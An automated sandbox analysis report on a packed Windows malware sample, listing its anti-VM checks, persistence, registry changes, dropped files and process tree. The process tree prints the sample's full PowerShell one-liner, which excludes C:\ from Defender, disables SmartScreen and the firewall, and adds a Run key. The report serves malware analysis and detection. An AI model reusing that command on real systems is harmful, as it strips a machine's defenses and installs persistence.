Analysis
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max time kernel
300s -
max time network
177s -
platform
windows10-1703_x64 -
resource
win10-20220722-en -
resource tags
arch:x64arch:x86image:win10-20220722-enlocale:en-usos:windows10-1703-x64system -
submitted
02-08-2022 22:15
Behavioral task
behavioral1
Sample
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Resource
win7-20220718-en
Behavioral task
behavioral2
Sample
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
Resource
win10-20220722-en
General
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Target
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe
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Size
3.4MB
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MD5
55a6d22be09d762103ae315f97b58561
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SHA1
f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1
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SHA256
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a
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SHA512
4b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820
Malware Config
Signatures
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Modifies security service 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Start = "4" powershell.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
Processes:
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
Processes:
UpSys.exeUpSys.exeUpSys.exepid process 1288 UpSys.exe 3204 UpSys.exe 4352 UpSys.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe -
Drops startup file 1 IoCs
Processes:
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\exe.lnk 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe -
Processes:
resource yara_rule behavioral2/memory/2636-127-0x00007FF71BCF0000-0x00007FF71C648000-memory.dmp themida behavioral2/memory/2636-128-0x00007FF71BCF0000-0x00007FF71C648000-memory.dmp themida behavioral2/memory/2636-129-0x00007FF71BCF0000-0x00007FF71C648000-memory.dmp themida behavioral2/memory/2636-130-0x00007FF71BCF0000-0x00007FF71C648000-memory.dmp themida behavioral2/memory/2636-183-0x00007FF71BCF0000-0x00007FF71C648000-memory.dmp themida C:\ProgramData\MicrosoftNetwork\System.exe themida -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinNet = "C:\\ProgramData\\MicrosoftNetwork\\System.exe" powershell.exe -
Processes:
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exepid process 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Modifies data under HKEY_USERS 52 IoCs
Processes:
powershell.exeUpSys.exedescription ioc process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ UpSys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" UpSys.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" UpSys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" UpSys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" UpSys.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exe41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exeUpSys.exeUpSys.exepowershell.exepid process 4204 powershell.exe 4204 powershell.exe 4204 powershell.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 1288 UpSys.exe 1288 UpSys.exe 1288 UpSys.exe 1288 UpSys.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 3204 UpSys.exe 3204 UpSys.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 3204 UpSys.exe 3204 UpSys.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 4420 powershell.exe 4420 powershell.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 4420 powershell.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe -
Suspicious use of AdjustPrivilegeToken 34 IoCs
Processes:
powershell.exeUpSys.exeUpSys.exepowershell.exedescription pid process Token: SeDebugPrivilege 4204 powershell.exe Token: SeIncreaseQuotaPrivilege 4204 powershell.exe Token: SeSecurityPrivilege 4204 powershell.exe Token: SeTakeOwnershipPrivilege 4204 powershell.exe Token: SeLoadDriverPrivilege 4204 powershell.exe Token: SeSystemProfilePrivilege 4204 powershell.exe Token: SeSystemtimePrivilege 4204 powershell.exe Token: SeProfSingleProcessPrivilege 4204 powershell.exe Token: SeIncBasePriorityPrivilege 4204 powershell.exe Token: SeCreatePagefilePrivilege 4204 powershell.exe Token: SeBackupPrivilege 4204 powershell.exe Token: SeRestorePrivilege 4204 powershell.exe Token: SeShutdownPrivilege 4204 powershell.exe Token: SeDebugPrivilege 4204 powershell.exe Token: SeSystemEnvironmentPrivilege 4204 powershell.exe Token: SeRemoteShutdownPrivilege 4204 powershell.exe Token: SeUndockPrivilege 4204 powershell.exe Token: SeManageVolumePrivilege 4204 powershell.exe Token: 33 4204 powershell.exe Token: 34 4204 powershell.exe Token: 35 4204 powershell.exe Token: 36 4204 powershell.exe Token: SeDebugPrivilege 1288 UpSys.exe Token: SeAssignPrimaryTokenPrivilege 1288 UpSys.exe Token: SeIncreaseQuotaPrivilege 1288 UpSys.exe Token: 0 1288 UpSys.exe Token: SeDebugPrivilege 3204 UpSys.exe Token: SeAssignPrimaryTokenPrivilege 3204 UpSys.exe Token: SeIncreaseQuotaPrivilege 3204 UpSys.exe Token: SeBackupPrivilege 4204 powershell.exe Token: SeBackupPrivilege 4204 powershell.exe Token: SeRestorePrivilege 4204 powershell.exe Token: SeSecurityPrivilege 4204 powershell.exe Token: SeDebugPrivilege 4420 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exepowershell.exeUpSys.exedescription pid process target process PID 2636 wrote to memory of 4204 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe powershell.exe PID 2636 wrote to memory of 4204 2636 41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe powershell.exe PID 4204 wrote to memory of 1288 4204 powershell.exe UpSys.exe PID 4204 wrote to memory of 1288 4204 powershell.exe UpSys.exe PID 4204 wrote to memory of 2284 4204 powershell.exe netsh.exe PID 4204 wrote to memory of 2284 4204 powershell.exe netsh.exe PID 4352 wrote to memory of 4420 4352 UpSys.exe powershell.exe PID 4352 wrote to memory of 4420 4352 UpSys.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe"C:\Users\Admin\AppData\Local\Temp\41d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Drops startup file
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(New-ItemProperty –Path $HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run –Name WinNet -PropertyType String -Value C:\ProgramData\MicrosoftNetwork\System.exe); $(New-Item -Path C:\ProgramData -Name check.txt -ItemType file -Value 1); $(exit)2⤵
- Modifies security service
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\ProgramData\UpSys.exe"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\ProgramData\UpSys.exe"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\ProgramData\UpSys.exe"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe5⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\ProgramData\MicrosoftNetwork\System.exeFilesize
3.4MB
MD555a6d22be09d762103ae315f97b58561
SHA1f218c5bb6b7e3cbe9483f8bc4552edb180fd2bd1
SHA25641d424435f37d0aa9dd6c2c2b05210f9e0a29a5969362776845064188f97273a
SHA5124b8967e85ebca846bda3910dac537b360fd36163eb778b6f3c522273d9ac0ae2821536c50a40eb3b56938396166ab83d75e7999dc32fe8807d734a479bdce820
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C:\ProgramData\UpSys.exeFilesize
923KB
MD5efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
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C:\ProgramData\UpSys.exeFilesize
923KB
MD5efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
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C:\ProgramData\UpSys.exeFilesize
923KB
MD5efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
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C:\ProgramData\UpSys.exeFilesize
923KB
MD5efe5769e37ba37cf4607cb9918639932
SHA1f24ca204af2237a714e8b41d54043da7bbe5393b
SHA2565f9dfd9557cf3ca96a4c7f190fc598c10f8871b1313112c9aea45dc8443017a2
SHA51233794a567c3e16582da3c2ac8253b3e61df19c255985277c5a63a84a673ac64899e34e3b1ebb79e027f13d66a0b8800884cdd4d646c7a0abe7967b6316639cf1
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memory/1288-171-0x0000000000000000-mapping.dmp
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memory/2284-178-0x0000000000000000-mapping.dmp
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memory/2636-183-0x00007FF71BCF0000-0x00007FF71C648000-memory.dmpFilesize
9.3MB
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memory/2636-130-0x00007FF71BCF0000-0x00007FF71C648000-memory.dmpFilesize
9.3MB
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memory/2636-129-0x00007FF71BCF0000-0x00007FF71C648000-memory.dmpFilesize
9.3MB
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memory/2636-127-0x00007FF71BCF0000-0x00007FF71C648000-memory.dmpFilesize
9.3MB
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memory/2636-131-0x00007FFF10320000-0x00007FFF104FB000-memory.dmpFilesize
1.9MB
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memory/2636-128-0x00007FF71BCF0000-0x00007FF71C648000-memory.dmpFilesize
9.3MB
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memory/2636-202-0x00007FFF10320000-0x00007FFF104FB000-memory.dmpFilesize
1.9MB
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memory/4204-143-0x000001572FCF0000-0x000001572FD66000-memory.dmpFilesize
472KB
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memory/4204-138-0x000001572D9F0000-0x000001572DA12000-memory.dmpFilesize
136KB
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memory/4204-132-0x0000000000000000-mapping.dmp
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memory/4420-207-0x0000000000000000-mapping.dmp
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memory/4420-233-0x00000246F5D80000-0x00000246F5DBC000-memory.dmpFilesize
240KB